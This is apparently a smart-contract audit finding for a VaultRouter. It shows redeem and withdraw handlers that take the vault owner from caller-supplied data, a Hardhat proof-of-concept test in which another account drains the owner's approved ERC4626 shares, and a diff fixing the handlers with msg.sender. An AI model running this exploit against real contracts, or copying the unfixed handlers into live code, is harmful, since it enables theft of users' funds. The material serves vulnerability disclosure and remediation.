    function _handleVaultRedeem(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 shares;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            shares := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
            owner := calldataload(add(data.offset, 0x60))
        }
        shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
        uint256 assets = redeemVault(vault, shares, receiver, owner);
        Commands.pushOutputParam(callStack, assets, outputMapping, 1);
        return abi.encodePacked(assets);
    }
    function _handleVaultWithdraw(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 assets;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            assets := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
            owner := calldataload(add(data.offset, 0x60))
        }
        assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
        uint256 shares = withdrawVault(vault, assets, receiver, owner);
        Commands.pushOutputParam(callStack, shares, outputMapping, 1);
        return abi.encodePacked(shares);
    }
  it.only('Drain ERC4626 shares', async function () {
    const { vaultRouter, weth, vault, owner, otherAccount } = await deployFunction();
    await weth.approve(await vault.getAddress(), ethers.parseUnits('10000', 18));
    //@audit-info deposit 10000e18 WETH into vault for 10000e18 shares
    await vault.deposit(ethers.parseUnits('10000', 18), owner.address);
    expect(await vault.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
    // Approve the VaultRouter to spend vault shares from owner
    await vault.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));

    let iface = new ethers.Interface(VaultRouterABI);

    const commands = [
      [
        VAULT_ROUTER_COMMAND_ACTIONS.ERC4626_VAULT_REDEEM,
        '0x' +
          iface
            .encodeFunctionData('redeemVault', [
              await vault.getAddress(),
              ethers.parseUnits('10000', 18),
              await otherAccount.getAddress(),
              owner.address,
            ])
            .slice(10),
      ],
    ];
    //@audit-info otherAccount crafts commands to drain owner's vault shares
    await vaultRouter.connect(otherAccount).execute(commands);
    //@audit-info all shares are drained for 10000e18 WETH and transferred to the malicious user
    expect(await vault.balanceOf(owner.address)).to.equal(0);
    expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
  });
    function _handleVaultRedeem(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 shares;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            shares := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
-           owner := calldataload(add(data.offset, 0x60))
        }
+       owner = msg.sender;
        shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
        uint256 assets = redeemVault(vault, shares, receiver, owner);
        Commands.pushOutputParam(callStack, assets, outputMapping, 1);
        return abi.encodePacked(assets);
    }

    function _handleVaultWithdraw(
        bytes calldata data,
        uint256[] memory callStack,
        uint32 inputMapping,
        uint32 outputMapping
    ) private returns (bytes memory) {
        IERC4626 vault;
        uint256 assets;
        address receiver;
        address owner;
        assembly {
            vault := calldataload(data.offset)
            assets := calldataload(add(data.offset, 0x20))
            receiver := calldataload(add(data.offset, 0x40))
-           owner := calldataload(add(data.offset, 0x60))
        }
+       owner = msg.sender;
        assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
        uint256 shares = withdrawVault(vault, assets, receiver, owner);
        Commands.pushOutputParam(callStack, shares, outputMapping, 1);
        return abi.encodePacked(shares);
    }
